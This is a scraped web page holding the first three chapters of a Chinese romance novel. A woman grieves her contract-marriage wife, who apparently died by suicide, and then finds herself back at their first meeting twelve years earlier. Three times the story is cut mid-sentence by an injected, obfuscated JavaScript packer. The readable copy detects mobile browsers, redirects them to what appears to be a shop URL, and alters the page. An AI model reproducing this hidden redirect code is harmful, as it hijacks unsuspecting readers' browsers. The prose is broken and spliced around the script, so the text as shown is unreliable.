《穿回亡妻死前十二年》 1. 第1章 2030年4月2日。 是赵明月和崔璇五年协议婚姻的最后一天。 十三天前她们大吵一场,随后崔璇离开再未归家,赵明月浑浑噩噩在家待了数日,终于在最后这天等回崔璇。 崔璇回来得晚,喝醉了,坐在床沿紧攥她肩膀,弓着身子抖,一声声喊着明月。 赵明月手指陷进她脚腕,箍着突出骨节,抬眼,撞进一双湿润迷蒙的眸。 堆在眼底挂不住的泪,雨一样坠到她脸上,初始滚烫,又很快转凉。 “明月…明…” 赵明月膝盖压上床沿,握住崔璇后颈,近乎凶狠地堵住她声音。崔璇口中泛起血腥,雾蒙蒙的眸子闭上,眼泪融进交.缠的唇齿间。 环在赵明月后颈的手臂收紧,是恨不得血肉相融的力道。 她们抵死缠绵,如同爱得刻骨铭心。 可等黏湿热气散去,伏在她怀中的崔璇气息逐渐平稳,赵明月却听见平静到近乎漠然的一声: “明天,去离婚吧。” 原本躁动的心跳猛然漏了一拍,还未褪去热意的身体一瞬如坠冰窟。 崔璇领口衣服散着,吻痕纵横颈间胸膛,鬓角略湿,唇瓣红润……她在崔璇身上留下那么多还没消散的痕迹,明明片刻前,她们刚做过这世上最亲密的事。 冷到叫人打颤的寒意之外,另有一股怒火自心底升腾。 赵明月不该感到意外。 因为崔璇呢喃牵挂的‘明月’不是她,她知道。 因为她们本就是为期五年的协议婚姻,从结婚开始,每一天都在向离婚迈进,她知道。 她一直记得,知道,今天,今天是…… 赵明月竭力控制着胸膛的起伏,不愿泄露半分情绪,可最终还是没忍住推开崔璇,赤脚下床。 “总算等到这天了。” “忍了五年,总算等来这天。” 带着近乎尖锐的怒气,赵明月咬牙,恶狠狠地盯着崔璇,试图从她脸上看出一点情绪。 可什么都没有。 崔璇只是静静看着她,眉眼寂然,仍旧是那副平静、淡漠,什么都不放进眼里,走不进心底的模样。 她们谁也没有说话,冷寂在空气中蔓延,半晌,崔璇才轻轻点了下头。 “好。” 好。 赵明月很想摔点什么东西,好让胸膛中无处宣泄的怒火消减,可那样未免显得太狼狈,像爱而不得愤怒跳脚的丑角。 她勉力维持平静转身离开。 四月倒春寒,家里开着地暖,顺着楼梯下去回卧室的路上,暖风一层层漫上来,烘得她心头火气愈旺。 结婚五年,如今她不止跟崔璇分房睡,连楼层都不在一处。 卧室墙上有处残存着挂钉的突兀墙面,那原先挂了电子表,显示日期时间,某天被喝醉的赵明月从墙上硬薅下来,砸了个稀巴烂,从那之后墙上就空下来了。 家里阿姨往桌上放了台日历,没多久又被赵明月丢掉,从那之后,赵明月房间里再没摆任何能看到日期的东西。 她刻意让自己不去想,刻意躲避、忽视一切能看到的日期,可每天入睡醒来,倒计时仍旧会在脑海里出现。 崔璇是个神经病。 有病的明明是崔璇。 可赵明月觉得自己也不远了。 她停在窗边,用力推开窗,晚间寒风霎时扑了满身。 院落里枝叶哗啦作响,冷意四面八方罩来,顺着领口拍上皮肤,顺着呼吸扎进肺腑。 赵明月打了个冷颤。 这场由一纸协议开启的荒唐婚姻,就要走到终点了。 二十三岁前的赵明月家境富庶顺风顺水,二十三岁后的赵明月家破人亡,身背千万债务。 挣扎两年,发现这样的日子往后还要过几十年时,赵明月真差点被说动,想着卖了器官一了百了。 即将行差踏错的岔口,是崔璇出现在她面前。 “你怎么越活越回去了。” 语气熟稔,仿佛故人多年未见,久别重逢。 当时的她看着崔璇怔了很久,只憋出来一句“您有些面善”。 崔璇问她刚刚是不是在跟人约会。 赵明月说“兴许是卖身”。 崔璇说,“既然都是卖,不如卖给我。” 赵明月以为这是幻听。 直到沉沉盯着她的崔璇,再次重复这句话。 赵明月看了她很久:“……这违法的。” 崔璇充耳不闻,只垂眸说:“我替你还债,你跟我结婚。” “……五年。” 赵明月那时不知道崔璇的名字,不知道崔璇的情况,不知道崔璇为什么会在这格格不入的地方跟她相遇,更不知道崔璇是怎么清楚她的情况。 可她却鬼使神差地应了。 或许是这两年被债务压得太累,难以承受,或许是她还想活着,轻松一点活着。 或许是对方看起来过得很好,很有钱,自己的债务对她来说可能不算什么。 也或许是……那一面其实并非初见。 作为交换生在国外留学那年,模特不够的校园秀上,老师让她这个东方面孔穿着自己设计的国风礼服上台。 走至台前,赵明月一眼看到观众席里那位黑发同胞。 绸缎似的长直墨发,皮肤白得像玉,黑色的瞳仁在日光下晕出一圈澄澈金黄。不算多么惊为天人的五官,却让赵明月因为那一双眼睛,怎么都移不开视线。 赵明月第一次在现实中,看见那样眉眼沉静,却又让人觉得压抑着无尽难过情绪和故事的眼睛。 她以为对方是朋友动员来捧场的留学生,退场后追问朋友无果,等谢幕上台再看,原来的位置上已经换了一副西方面孔。 后来她数次打听,也没寻到任何消息。 再后来,不了了之。 惊鸿一瞥的那人,仿佛她在喧嚣鼎沸中臆想出的,一场虚幻浮梦。 可时隔多年,那人却如此不合常理、毫无预兆、如梦似幻般,降临在她面前。 再出现的崔璇和当年截然不同,那双曾经盛着浓烈情感的眼睛,如今平静又淡然。 她很想知道为什么,为什么当初去看她,为什么如今来救她,她想知道在她遗忘的时光里,她们究竟有过什么样的交集。 可最终也没问出口。 第一次知道崔璇的名字,是在结婚证上。 崔璇耗费千万换来五年的协议婚姻,可婚后她却什么都没做,甚至有半年之久都很少回家。 没见面的半年里,赵明月打听很久,才慢慢拼凑出崔璇的过往。 例如崔璇曾经和她是高中同学。 例如崔璇那样轻飘飘说帮她还债,却并非出身多好,相反身后毫无助力,堪称一滩烂泥。 自幼被父母丢在乡下,是奶奶拉扯她长大,高中借住大伯家,大伯离婚后对崔璇非打即骂。 后来某天争执中崔璇被推撞上柜子,柜子倒下来砸折了脚。 奶奶来学校的路上出了车祸,抢救无效去世。 那是同一天。 那天是崔璇的生日。 买了蛋糕找崔璇的奶奶,昏迷在急救室度过那天,没能见到崔璇最后一面。 脚骨折毫不知情的崔璇,在阴冷房间里忍痛蜷缩一夜,没能见到奶奶最后一面。 后来,抛下崔璇远走、十几年未归家的父母终于带着妹妹回来,来争遗产。 从车祸赔偿款争到乡下菜地,从下雨漏水的老屋争到院里鸡鸭、看门土狗…… 唯一无人争抢,还被推来阻去的,是崔璇。 崔璇第一次反抗,抢来了乡下老屋和一万块钱,从此跟他们断绝关系,跛着脚回了学校。 再后来,她考上了一个很好的大学,拿着奖学金和暑假工资,毅然离开那座城市。 崔璇数年打拼,耗费无数精力心血,才一步步走到如今,可手里资产仍旧不够填补她身上的窟窿。 于是崔璇卖了辛苦筹谋数年的项目,跟公司签了十年合约,搭上未来的职业生涯,这才凑够给她还债的钱,这才在那天降临于她面前。 那年崔璇二十五岁。 再例如…… 崔璇其实藏了许多跟她有关的东西,光荣榜上抠下的、毕业合照裁下的照片,她留在学校的画作…… 散尽积蓄倾其所有、宁愿背负债务也要拉她出泥潭的崔璇,一纸婚约把她绑在身边、却从未有什么要求的崔璇。 在过去她毫不知情的许多年里,这个人或许已经悄悄关注她很久很久。 这世上密切关系,莫过于亲、友、爱。 家人相继去世,与朋友近乎断联,过去两年赵明月似乎一直在失去。 唯一向她而来,倾尽所有、破釜沉舟、竭尽全力、只为把她从泥潭里捞起,却不求任何回报的。 只有崔璇。 对她来说,崔璇是突然出现在人生最狼狈时刻的希望,是她的救命稻草,是拉她出泥潭、让她重回人间的救赎。 对崔璇产生好感,是那样顺理成章的一件事。 可那时的她一事无成,与废人无异,除了拖累崔璇再无半分用处。纵使心中千般万般触动,又能做什么,说什么呢? 那时的她连再次拿起画笔,都会控制不住手抖。 如果不是崔璇开导,或许她仍旧郁郁陷在昔日泥潭,跨不过心中那道坎,磨不平胸中那根刺,更遑论重拾旧笔,创办后来的‘璇玑’。 人生每一个迷失节点,都是崔璇牵着她走出,走到正确的那条路上。 去年春是她最意气风发的一年,沉冤昭雪真相大白,昔日仇敌身败名裂,赵明月乘势而上,借着东风踩在仇敌头上,送自己的品牌更上一层楼。 心结尽散,前途无量,闷了多年的话、早就做好又藏起的戒指、终于在还清欠崔璇的债务后,借着庆功酒意一并剖出。 还钱是为了结束那段畸形的协议关系。 戒指,是为了重新开始,求一场婚礼。 喝醉的崔璇流着泪应了,湿咸眼泪交融在她们唇齿间,结婚四年,她们第一次做了那样亲密的事。 相拥入眠前,她抱着困倦的崔璇,目光落在她曾被砸折的左脚,心中翻涌着无数遗憾。 明明她们曾经离得那样近,可她却没能看见崔璇,没能改变崔璇的过去,让崔璇一个人吃了这么多苦……她问崔璇有没有怨她来得太晚。 几乎睡着的崔璇听到她的声音,即便困到意识不清,也努力半睁开眼,轻拍她后背,说不晚。 崔璇说不晚。 崔璇说她做得已经够多,在巷子里救下她,在学校为她出头,教训大伯,帮了奶奶…… 崔璇的声音越来越低,最终沉沉睡去,只留赵明月僵着身体,心中惊涛骇浪翻涌不休。 事业扶摇直上,心悦的爱人接受表白,答应和她补办一场正式婚礼……过往沉疴尽散,未来光明灿烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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犹豫要不要打电话问的时间里,手机不巧又没电关机,这下就没法联系上崔璇了。 赵明月重新躺回后仰的驾驶座,心安理得闭上眼。 反正崔璇说了今天离婚,就算联系不上她,也一定知道要来民政局碰面吧。 她只在这等一天,明天还得出差参加新品发布会,一去就是半月一月,到时崔璇也该忙起来了。 崔璇今天要是不来,那就只能委屈委屈她,晚些再离婚咯。 八点,民政局外已经有三三两两围绕等待的人,有人兴奋憧憬,有人疲惫麻木,还有的正在激烈争吵,赵明月这次被吵醒没再睡着,隔窗看着,脑子里乱糟糟的,自己也不知道在烦什么。 她从清晨看到傍晚,期间滴水未进,竟也不觉饥渴,直到民政局的工作人员下班出门,才如释重负,心头竟涌上股劫后余生般的喜悦。 翻出充电线,给手机充上电,等了两分钟才开机。 她以为会看到来自崔璇的消息、短信、未接电话,可事实上浮窗里除了软件推送消息再无其他。 赵明月怀疑手机出了问题,亦或是关机太久,消息来得迟钝,可等了又等,也没再等来任何消息。 难道崔璇其实也不想离婚,就跟她一样躲了一天手机? 想完,又忍不住扯了扯嘴角,嘲笑自己的痴心妄想。 在聊天页面斟酌半晌,对话框里的字打了又删,删了又打。 等待的这半天里,她想了无数个解释失联的借口,如今打出来却都觉得无比拙劣,难以发出。 天边最后一丝余光暗下去,灯火交替点亮城市,唯有赵明月坐在车里,捧着手机微弱的亮光。 天黑了,手机充满电了,赵明月仍旧在对话框里徘徊,一条消息也没发出去。 千言万语在时间流逝里无声消磨,她疲惫地靠回座位,许久没有打字的手机屏幕灯光渐暗,又忽然明亮。 电话铃声在车内回荡,赵明月提起的心,在看到手机屏幕上是串陌生号码后慢慢落下去,揉揉酸痛的眉心,她接通电话。 “您好,我是崔璇女士的委托律师。” 委托律师?崔璇找来的? 赵明月心头一缩,等她反应过来时,已经下意识挂断电话。 她留了璇玑一部分股份,剩下股份和这些年的财产都划给崔璇,这份提前签过字的离婚协议,她放在了崔璇房间。 明明直接签字就可以,还有什么必要再找一个律师? ‘璇玑’是崔璇看着她一手创办起来的,崔璇的性格就算不喜欢她,也做不出将股份转手卖给别人的事。 ……所以是不满意?不想要股份,不想再跟她有任何瓜葛交集? 一起看着长大的品牌跟一起养的崽有什么区别?崔璇怎么能这么狠心?不要她,连崽也不要了? 刚刚挂断的电话再次响起。 赵明月一时没有动,她心头憋着火,憋着恨,或许还憋着一场汹涌的委屈,和恐惧。 铃声进入尾声,即将自动挂断的前一秒,她还是按下了接通。 “您好……” 不是崔璇。 “让崔璇接电话,”赵明月语气急促地打断,近乎咬牙切齿:“有什么话,让她自己、亲自来跟我说!” 电话那端沉默片刻,才有声音传出,不是崔璇。 “抱歉。” 赵明月心跳倏然漏了一拍。 抱歉……什么? “非常遗憾地通知您……崔璇女士已于今日不幸去世。根据生前遗愿,指定本人作为遗嘱执行人……” 2. 第2章 自第一句话后,有很长一段时间,赵明月听不清电话那端的声音,只有嗡鸣在耳膜里长久鼓噪,持续不歇。 大脑空白,近乎静止的,难分时间流逝的静默中,赵明月张嘴想要说什么,空气涌入喉咙,却忽然引来一阵反胃干呕。 手机从掌心跌落,她攥紧方向盘,忍着胃里抽搐弯腰去捡,虚软手指碰到屏幕,一时竟无力抓起。 屏幕自动唤醒,赵明月被亮光晃了下眼,透过模糊视线,终于看清锁屏页面。 那通电话不知道什么时候已经挂断,屏幕只亮着孤零零的婚戒设计图壁纸,再没有任何消息。 她捡起手机,屏幕上不知道从哪沾了些微湿润水渍,翻弄两下,才发现是手心不知何时出的汗。 感知似乎在此刻才骤然回归,赵明月后知后觉感受到刺骨冷意,从出汗的手脚、后背,一路蔓延进胸膛。 怎么了? 赵明月怔怔坐着,大脑运转似乎都变得无比迟钝,她用力揉着太阳穴,想。 怎么了? 怎么了? 哦。 有人说。 有人说,崔璇,崔璇…… 一股冷风忽然扑来,寒意刮得赵明月浑身发颤,她后知后觉扭头,发现车窗不知道什么时候落下了。 外面起风了,很大的风,风里裹着干枯的落叶转圈,往四处散,往天上飞。 在天空中翻卷的枯枝残叶落尽车内,落到赵明月腿上,她想捏起来那片叶子,手指触碰,没用多少力,干枯的叶子就碎了。 太冷了。 赵明月关上车窗缩在座位上,那股寒意仍旧没能消散,她调高车内暖气,贴着出风口仍旧冷得发抖。 天什么时候这么冷了? 赵明月想,应该回家添件衣服吧。 后来见过的人听过的话,全都模糊一片,像被快进的默片,碾过时间无声流走。赵明月努力去想,也记不太清了。 家里有个陌生女人,自称是崔璇的委托律师,委托内容不是离婚协议,是遗嘱执行。 她连崔璇最后一面也没能见到,遗体被崔璇表姐带走火葬了。 她说赵明月不必守灵送葬,实际上也根本没有举行葬礼,那通电话打来时,崔璇已经躺进墓园了。 留给赵明月的,只有浴室里一缸漫了一地的,血水。 赵明月从不知道一个人身体里竟能涌出这么多血。 她更无法接受,这样多的血,是从崔璇身体里流出来的。 这样多的血,竟是从崔璇身体里流出来的。 崔璇是个精神病,分离性障碍,创伤应激,妄想性回忆……可崔璇从没有过任何自残倾向。 她是个那么怕疼的人啊。 她那么怕疼,怎么会以这样痛苦的方式,决绝离开? 凌晨还活生生的人,怎么忽然就再也睁不开眼,从一个活生生的人,到一具冷冰冰的尸体,再成了一捧锁在狭小盒子,深埋地底的骨灰呢。 赵明月不能相信,也无法接受,哪怕如今崔璇的墓,就在她眼前。 那块崭新、毫不标准、荒唐的、崔璇的碑。 就在她眼前。 崔璇 生2000年3月23日 卒2018年4月3日 十七岁赵明月之妻 * 风冷雨潇,夜色昏昏,赵明月淋着细雨,独自在那块碑前站了很久。 她想,崔璇到死、到死后,心心念念的,仍旧是那个十七岁的赵明月啊。 兴许如今的崔璇,去找那个赵明月的崔璇,才是真正快活了。 真可笑。 崔璇可笑,守着个幻想出来的假人当宝贝。 赵明月更可笑,一个活人,最后竟也心甘情愿,主动去给假人做替身。 从崔璇嘴里听到真相后,她竟然不敢叫醒崔璇追问,找了一夜,才找到崔璇曾经的心理医生,探听到真相。 心理医生说崔璇是经历巨大变故,创伤应激,启动自我防御机制编造了一段安全记忆。 一段“赵明月”帮助崔璇,弥补过去所有遗憾的记忆。 在那段记忆中,赵明月救下被霸凌的崔璇,改变了崔奶奶的结局,在那段记忆中,崔璇没有瘸,奶奶没有死,在那段记忆中,赵明月对崔璇无微不至,倾尽所有…… 后来的赵明月努力回忆,终于想起,她应该确实在那天救过一个被霸凌的同学,可她连对方的脸都没看清,等揍完霸凌者回头,那人早就跑得没影。 她至今都不确定,那人究竟是不是崔璇。 可这或许也不重要,即便当初她救下的人真是崔璇,可让崔璇真正放不下、心心念念到如今的,是幻想中那个改变所有、拯救一切、挽回任何遗憾的赵明月。 而她什么都没能改变。 没有崔璇帮助活不下来,没有崔璇开导爬不起来的她,怎么比得上那个完美无缺,盛满希望,美梦化身的白月光? 就连会被崔璇帮助,都是沾了那个赵明月的福。 赵明月不受控制地想,崔璇第一次和她见面时,心里想的是谁?崔璇拿着她们的结婚证时,心理想的是谁?她给崔璇戴上戒指时,崔璇想的是谁? 赵明月不受控制地想,嫉妒地想,几乎要发疯地想。 她和崔璇拥抱、接吻、上床,崔璇泪眼朦胧,断断续续喘息时低声念的明月,是谁啊? 赵明月气愤,恼怒,耻辱,不甘,可千百种激烈的情绪无力落底,最后升起的,竟是心疼。 曾经的崔璇在她眼里成熟冷静、坚韧强大、温柔包容。 过往万般苦楚压不倒,深冷泥潭困不住,再难再长的路,崔璇也一步步迈过,最终走到难以企及的远方。 那些过去崔璇从不主动提及,她的成就比经历更加瞩目,实力比伤痛更加耀眼,以至于赵明月对她崇拜多过心疼,敬佩多过怜惜。 以至于赵明月竟然从没想过,崔璇仍旧困在数年前的那个雨夜,始终不曾走出。 或许崔璇把她当做幻想的寄身,或许崔璇对她的感情源于移情,夹杂太多投射…… 可那是倾尽所有救她的崔璇,是她的合法妻子,是跌跌撞撞、一个人淌过万般苦楚的爱人。 赵明月想,不能全怪她。 唯一在乎的亲人因为自己去世,崔璇跛了脚,被当成麻烦推来阻去,一颗心在冷待讥讽漠然嫌弃里滚出层叠伤口,奶奶却再也不会把她护在身后,不会把她抱进怀里轻拍安慰。 她彻底没了归处,成了茫茫世间一片浮萍,没了任何可以停歇疗伤的港湾。至亲之人的性命压在心上,悔恨联通着每一根神经,源源不断,永无止境地带去痛苦。 活着的每一天、往后的每一年生日、听到每一个与之相关的字词、跛着走出的每一步……都会将这道永远无法愈合的伤疤,翻来覆去地扯烂。 那是崔璇从不提起,却被赵明月拼凑出的真实过去,她从这些缄默的时光里,真切触碰到一个人的痛苦,无法真正感同身受,却已足够痛彻心扉。 她想,崔璇只是太累,太痛了,才不得不寻找能支撑自己继续走下去的支柱。 不能全怪崔璇。 是她来得太迟,没能改变过去,是她发现得太晚,才让崔璇一个人独自承受那么久。 可人不能,也不该被永远困在过去,逃避现实,陷在痛苦的长河里沉沦,清醒后彻底崩溃。 从虚假的幻想里慢慢走出,踏踏实实踩到地上,亲自去触碰阳光雨露,重新将感知扎根现实,才能真正重活过来。 她想让崔璇走出来,她以为自己能做到……她听从医生的叮嘱,小心,谨慎地,一点一点试探着安全的边界,引导崔璇谈论从前的话题,倾听崔璇幻想的过去。 她以为自己选对了,她以为那条路会让崔璇变得更好。可她高估了自己的能力,也低估了崔璇的固执。 第一次谈及过去,崔璇并未吐露太多就终止话题,崔璇说出的信息,甚至比她从医生那打听来的还要少。 从那之后,无论她怎样旁敲侧击,崔璇都不肯对她倾诉分毫,再后来,崔璇借工作出差之名去了另一座城市。 赵明月知道,崔璇是在躲她。 一开始她焦躁地跟崔璇发了许多消息,后来意识到这样不行,跟崔璇认真道歉后,不敢再发消息打扰。 她开始把朋友圈当留言板,仅崔璇一人可见的朋友圈,一天能发几十条。 隔三差五,崔璇沉默地点个赞,像是以此跟她报平安,叫她放心。 赵明月压抑着忐忑和去找崔璇的冲动,以为给崔璇些独处时间,等崔璇情绪缓解就会回来。 这一等就是两个多月。 直到崔璇一连几天都没任何回复,赵明月终于再也忍不住,跑到了崔璇公司。 几经询问,才知道所谓出差只有十天,崔璇攒了三个月的假期,外出项目结束后就离开休假,没人知道她去了哪里。 崔璇没有亲人也没有朋友,离开公司,赵明月甚至不知道该去哪打听崔璇的消息。 她努力控制焦躁不安的情绪,认真思考崔璇有可能去的地方,最终在崔奶奶的乡下老屋里,找到了烧得神志不清的崔璇。 两月不见,她努力三年才养胖一点的崔璇瘦了一圈,阳光照不进的房子中,崔璇安静地蜷缩着,躺在沉甸甸的老旧棉花被里。 如果她来得再晚几天,崔璇或许就会悄无声息死在这里。 她抱起崔璇出门,崔璇迷迷糊糊睁眼,看她一会儿,埋首在她怀里,哽咽着说等了她好久。 眼泪打湿了她胸口的衣服,温热的烫,风吹过后,却又很冷。 那一刻,赵明月至今仍旧记忆清晰。 她知道,崔璇口中等了很久的那个人不是她,当时的她想开口说什么,最终也只是沉闷地嗯了一声。 她一直觉得让崔璇接受治疗,让崔璇回到现实是无可争议的正确道路。 可怀里抱着一把瘦骨,抱着滚烫的、哽咽的、流泪的崔璇,在那一刻,赵明月的想法前所未有地动摇。 如果通向正确的道路需要崔璇这么痛苦,为什么她不能跟崔璇一起,走错的那条? 为什么她不能跟崔璇,一起走那条路? 可实际上,她又选错了路。 假的就是假的,失去就是失去,就像崔璇仍痛的脚、奶奶冰冷的碑,过去时光里逝去的,永不复回。 即便如何伪装,她也永远不会、不可能成为崔璇要的赵明月。 相较于她不是“赵明月”,崔璇甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明明是崔璇离不开她,她离开崔璇只会觉得轻松,有什么舍不得的?谁会舍不得麻烦? 她其实也没多喜欢崔璇。 只是吊桥效应,只是把恩情感激和心动混淆,只是模糊了心疼和喜欢。 只是因为她曾经拥有太多,后来又失去太多。只是因为她太孤独、太急切地想抓住、想得到什么了。 而那时的她,身边又只有崔璇,只能抓住崔璇了。 就算有爱。 就算有那么一点点喜欢。 可感情是最易变的东西,爱与恨之间的距离尤为模糊,尤为接近,尤为…难以分辨。 她没想到崔璇生日那天唯一一次吵架,竟也是生命中最后一次。 铅灰色蒙蒙天空下,阴凉的小雨里,冰冷的墓碑旁。 寒意浸透脊背,雨水打了满面,赵明月扶着墓碑,忍不住用力按住胸口。 眼前一阵发黑,沉闷的刺痛后,她颤抖着呼出一口气抬头,墓碑上的黑白照片在视野中逐渐清晰。 照片里的人眉眼沉静,一如当年秀台下,灯光流转间如梦似幻的初见。 情绪仿佛在此刻,才后知后觉冲破混沌迷雾,摧枯拉朽般袭来。 直到此刻,她仿佛才迟钝地意识到,崔璇死了。 崔璇死了。 崔璇,死了。 一个活生生的,拯救过她的恩人,她的朋友,她的妻子,她的爱人,她的崔璇……死了。 而她本可以阻止这一切。 而她本可以阻止这一切! 如果当年那场初见,她抓住了崔璇,看见了崔璇。 如果后来她能探听到更多细节,扮演得足够真实。 如果崔璇生日那天她能控制好情绪,没说出那么多收不回的伤人言语,如果她能想出更好,更专业的方法…… 崔璇是不是,就,不会……死了? 崔璇会恨她吗? 崔璇一定恨她的吧。 恨她打碎幻想,恨她不是理想中的白月光,恨到死后也不愿见她,连碑文印刻的,都是“十七岁赵明月之妻”。 那个十七岁的赵明月有什么好? 那个十七岁的赵明月!有什么好! 二十九岁的赵明月一拳砸向碑文“17岁赵明月”。 天旋地转、翻江倒海的失重眩晕中,寒风萧瑟的凄凄冷雨里,她的拳头隔着皮肉,砸上坚硬骨头。 凄厉哀嚎刺破耳膜,游走天边的银色亮光,乍然照彻昏暗小巷。 她看见惨叫之人捂着眼眶倒地不起。 沉闷不绝的雷声中,赵明月捂着钝痛的头,意识混沌不清,几乎以为又回到梦里。 这是她与崔璇的初见,是崔璇牵肠挂肚的开始,是区分她与那个赵明月的起点,是她无数次后悔、无数次梦回,却无论如何都无法改变的过去。 她按着眩晕昏沉的脑袋,急切地,近乎惊惶地回头。 目之所及,不再是记忆与梦中那堵沉闷的墙。一道佝偻着的瘦弱背影,即将走出小巷。 赵明月瞳孔紧缩,下意识朝前迈出一步,发软的膝盖让她险些跪倒,踉跄的步子越来越急,越来越大,距离不断缩短,她颤抖着不假思索地,用力朝那人抓去。 破败狭窄的小巷中,阴云笼月的天空下,寒风呼啸剐着她,漫天冷雨阻着她。 她的手穿破风雨,无数相同类似的梦境,一次次失之交臂的画面碎片在眼前闪现。 她曾无数次、无数次地想过,如果能回到这天,如果能重来一次,她一定,她一定…… 收拢的五指,紧紧攥住一只冰冷细瘦、宛若枯枝的腕。 3. 第3章 她攥着那细瘦手腕,如同溺亡之人触及浮木,用力到手上筋骨凸起泛白。 雷声轰隆,稍远些的街上行人小跑躲雨,售卖雨伞的吆喝声,断断续续交谈声,车流鸣笛声融作混乱一团。 赵明月什么都听不清。 如列车疾驰而过,尖锐高频的嗡鸣声猛地撞穿头骨,钉进耳膜。 紧绷脑海内持续不休的耳鸣,带来翻江倒海的眩晕。 雨水压下睫毛,淌进瞳孔,眼睛酸胀刺痛,可赵明月却不敢眨眼,一动不动盯着面前那人缓慢回头。 稚嫩的、麻木的、骨相嶙峋到近乎陌生的熟悉面容, 在房屋映下的昏暗灯光里、在抬起的模糊视线中,在赵明月的眼底。 一寸寸清晰。 仿佛有什么极其沉重的东西猛然砸上心脏,发麻的涟漪自胸腔迅速扩散全身,随后声音与心跳,脉搏与呼吸,思绪与感受尽数消失。 世界在瞬间骤然静默。 轰隆隆—— 被闪电游走劈裂的天穹骤亮,惊雷穿过,脑海中那根紧到极致的弦骤然崩断。 赵明月近乎停滞的心跳,又开始毫无规律地、急切地、疯狂鼓噪。 那张脸比记忆中还要削瘦,黯淡无光的皮肤,乱糟糟的头发,起皮的唇瓣,瘦到凸起的脸部骨骼,熟悉又陌生的稚嫩五官……处处都不同,可却又处处都相似。 是年轻的崔璇。 是她刚死的亡妻。 得而复失,失而复见。 ‘崔璇’ 嗓子仿佛被什么堵住,没能发出丝毫声音,赵明月脸部肌肉不受控制地抽搐,她想笑,可比唇角弯起更早的,是眼泪。 和她短暂对视的人,很快又沉默地垂下眼帘,微翘的睫毛低垂着颤抖,抿起的唇瓣被咬到泛白。 ……她在害怕我。 钝痛杂乱的大脑后知后觉意识到这一点。 崔璇在怕她。 可是,为什么? 凭什么? 攥着崔璇手腕的手不自觉用力,赵明月的手颤抖着,胳膊颤抖着,人也颤抖着,她胸膛几度激烈起伏,用力咬紧牙关,太阳穴也被牵扯着一并鼓痛起来。 她近乎咬牙切齿地,想要大声质问“凭什么”。 凭什么呢? 你对那个幻想里救了你的赵明月念念不忘,现在我救了你,你为什么害怕? 凭什么害怕? 凭什么……换做是我,你就要害怕? 愤怒不甘在尚不清醒的脑子里膨胀,赵明月呼吸急促,忽然抬手。 阴影笼过崔璇下巴,崔璇不自觉发抖,下意识佝偻身子,抬手护住脑袋。 她在抖。 赵明月想去摸她脸颊的手,就这样定在半空。 夜风吹过,后背一片冰冷,赵明月抿着唇瓣收回手,后知后觉自己方才出了一身冷汗。 看着面前沉闷不语的崔璇,她张嘴想说什么,可话还没说出口,耳后忽然传来声响。 想起身前还有个崔璇,赵明月忍住躲开的下意识反应,旋身抬臂挡的同时,脚也踹出去。 砖头砰一声掉在地上,被踹的人捂着肚子惨叫一声,摇摇晃晃站后退几步站住了。 换做十几年后的赵明月,一脚过去能让他瘫在地上起不来,但现在的赵明月,也只是把人踢开而已。 做梦也会这么细节吗? 赵明月恍惚两秒,撸起袖子攥拳,没半点留手,把人彻底踢翻在地,拳头高高扬起,正打算再给他几拳时,忽然想起什么回头一看。 崔璇人都快到巷口了。 又要跑。 又跑了。 赵明月险些气笑。 心里憋屈,她扬起的拳更添几分力道,重重砸出一声哀嚎惨叫,随后看也不看,起身大步朝崔璇追去。 崔璇心脏怦怦乱跳。 突然出现的陌生人,一言不发扬起拳头就去揍人,相较于来帮她这样自作多情的想法,寻仇打架似乎更加贴合实际,更何况对方刚刚还抬手想打她。 要逃。 要快点逃。 刚一脚迈出巷口,背后书包忽然被人扯住,她脚下一个踉跄,手指在巷外路灯下晃了一晃,又被人猛地扯回巷子。 侧身撞在墙上的同时,崔璇闷哼一声,双手赶忙抱住脑袋。 赵明月攥着崔璇书包带的手还是麻的,刚刚揍人,揍得手现在又麻又疼。 疼。 可意识到在梦中,并且还有痛觉的梦,也不是没做过。 止住念头,赵明月盯着面前的崔璇,并不想再深究是否真实。 “为什么要跑?” 崔璇抬起的手臂僵住,停顿两秒,稍稍下压挡在脸前,从手臂交叠的缝隙里探出一只眼,那眼里盈着水光,怯生生向她看。 “为什么要跑?你怕我?” 赵明月攥住崔璇手腕,把她挡在脸前的手用力压下去,紧盯崔璇双眼:“你害怕我,你觉得……我会伤害你?” 崔璇唇瓣动了动,话没出口,眼眶里的泪先砸下来,一边掉眼泪一边摇头,唇瓣抿着抖。 断断续续、止不住的哽咽声,伴着岔气打嗝,真是好狼狈,好可怜的模样。 这么狼狈,这么可怜,这么害怕,偏偏死的时候那么决绝,那么毫不留恋。 那泪一滴一滴滚落,砸在她外套袖子上,砸在她抓着崔璇的手背上,砸进赵明月的眼底。 很烫。 那泪珠是冷的,可砸下来,却又重又烫。 崔璇在哭,因为害怕她,害怕她,抵触她,恐惧到流了这么多眼泪。 赵明月见不得崔璇哭,更接受不了崔璇因为害怕她哭,最最难以忍受的,还是她明明做了一样的事,她明明也救了崔璇…… 崔璇的反应,怎么就这样天差地别? 好像她永远比不上那个赵明月,哪怕做了同样的事,也永远无法企及。 “不许哭。” 赵明月托住她下巴,迫使崔璇抬头:“你凭什么哭……你不许哭!” 被迫抬起的那双眼睁圆,人受惊似的一噎,不打嗝,却又滚了两滴泪下来:“对…对不起……” “你为什么害怕我?” 赵明月下颌紧绷,抓着崔璇的手指筋骨凸起:“我没欺负你,没打你,我只是想帮你,我明明也救了你……” “我明明也救了你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550700|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你为什么躲着我,害怕我,为什么要跑,你为什么……为什么哭?” 